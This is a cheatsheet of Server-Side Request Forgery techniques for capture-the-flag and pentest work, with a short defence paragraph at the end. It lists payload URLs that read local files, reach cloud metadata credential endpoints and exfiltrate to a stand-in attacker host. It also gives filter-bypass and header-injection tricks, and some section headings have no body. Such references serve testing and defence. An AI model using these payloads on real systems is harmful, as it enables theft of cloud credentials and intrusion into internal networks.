Server-Side Request Forgery (SSRF)

Cheatsheet for CTFs & web pentests. Based on PortSwigger Web Security Academy.

Server fetches a URL you control → use the server’s network position (loopback, internal subnets, cloud metadata, trust relationships) to reach things you can’t. See also Path Traversal (often file://) and LLM tools that fetch URLs.

Where to look

First-pass payloads

http://localhost/                   http://127.0.0.1/
http://127.0.0.1:80/                cycle ports
http://[::1]/                       IPv6 loopback
http://169.254.169.254/             cloud metadata (see below)
file:///etc/passwd                  file scheme — instant LFI if supported
gopher://127.0.0.1:6379/_...        Redis / SMTP / FTP smuggling
dict://127.0.0.1:11211/             memcache
ftp://attacker/                     blind exfil
http://burp-collab.net/             OAST for blind SSRF

Localhost obfuscation (blacklist bypass)

127.0.0.1   127.1   127.0.1   127.000.000.001
0           0.0.0.0   localhost   LOCALHOST
[::]        [::1]   [0:0:0:0:0:ffff:127.0.0.1]
2130706433              # decimal
0x7f000001              # hex
0177.0.0.1  017700000001 # octal
127。0。0。1            # unicode fullstop
spoofed.burpcollaborator.net   # DNS rebinding / public domain → 127.0.0.1
yourdomain.com → A 127.0.0.1   # own domain pointing at loopback

Mix encodings: http://%6c%6fcalhost/, hTTp://LocAlhOSt/, double URL-encode (%2531%2532%2537...).

Whitelist / parser-confusion bypass

URL parsers disagree about authority — exploit the gap between the filter and the fetcher.

http://[email protected]/          # userinfo trick — fetcher hits evil.com
http://evil.com#expected.com           # fragment
http://expected.com.evil.com/          # subdomain
http://evil.com/?x=expected.com
http://evil.com\@expected.com          # backslash confusion (Node, Python urllib)
http://evil.com\.expected.com
http://expected.com:80\@evil.com:80/
http://expected.com%2eevil.com         # encoded dot
http://expected.com%[email protected]      # double-encoded /
http://expected.com %0d%0aevil: x      # CRLF in URL → header injection

CRLF injection in URL → smuggle headers / request lines into the back-end fetch (http://x%0d%0aHost:%20internal%0d%0a/).

Open-redirect chaining

If host is whitelisted but the same host has an open redirect → use it as a hop.

stockApi=http://allowed.com/redirect?next=http://169.254.169.254/
stockApi=http://allowed.com/oauth/cb?redirect=http://internal/admin

Try multiple redirect codes (301/302/303/307) and protocol switches (http://https://) — some libs follow redirects but only enforce the allowlist on the first hop.

Cloud metadata (high-value targets)

Cloud Endpoint Notes
AWS http://169.254.169.254/latest/meta-data/ IAM creds at iam/security-credentials/<role> — IMDSv2 needs X-aws-ec2-metadata-token (PUT /latest/api/token, X-aws-ec2-metadata-token-ttl-seconds: 21600)
AWS ECS http://169.254.170.2/v2/credentials/<uuid> (path from $AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) ECS task role
GCP http://metadata.google.internal/computeMetadata/v1/ Requires header Metadata-Flavor: Google
Azure http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ Header Metadata: true
DO http://169.254.169.254/metadata/v1/
Alibaba http://100.100.100.200/latest/meta-data/
K8s https://kubernetes.default.svc/, service account at /var/run/secrets/kubernetes.io/serviceaccount/token (via file://)

If the SSRF can set headers (e.g. via CRLF / gopher), IMDSv2 / GCP / Azure are all reachable. Otherwise IMDSv1-only AWS, ECS, and DO often work raw.

Internal port / host scanning

Protocol smuggling (when scheme is permitted)

Blind SSRF

No response body returned. Confirm via OAST → escalate via known internal CVEs.

SSRF via XXE / file uploads

Hidden-attack-surface tricks

Tools

CTF / pentest checklist

Defence (one-liner)

Allowlist hostnames after DNS resolution (resolve once, reject RFC1918 / loopback / link-local / metadata IPs, then connect to the resolved IP — prevents DNS rebinding). Disable unused URL schemes (file, gopher, dict, ftp). Block redirects, or re-validate each hop. Strip auth headers before the back-end fetch. Put the metadata service behind IMDSv2.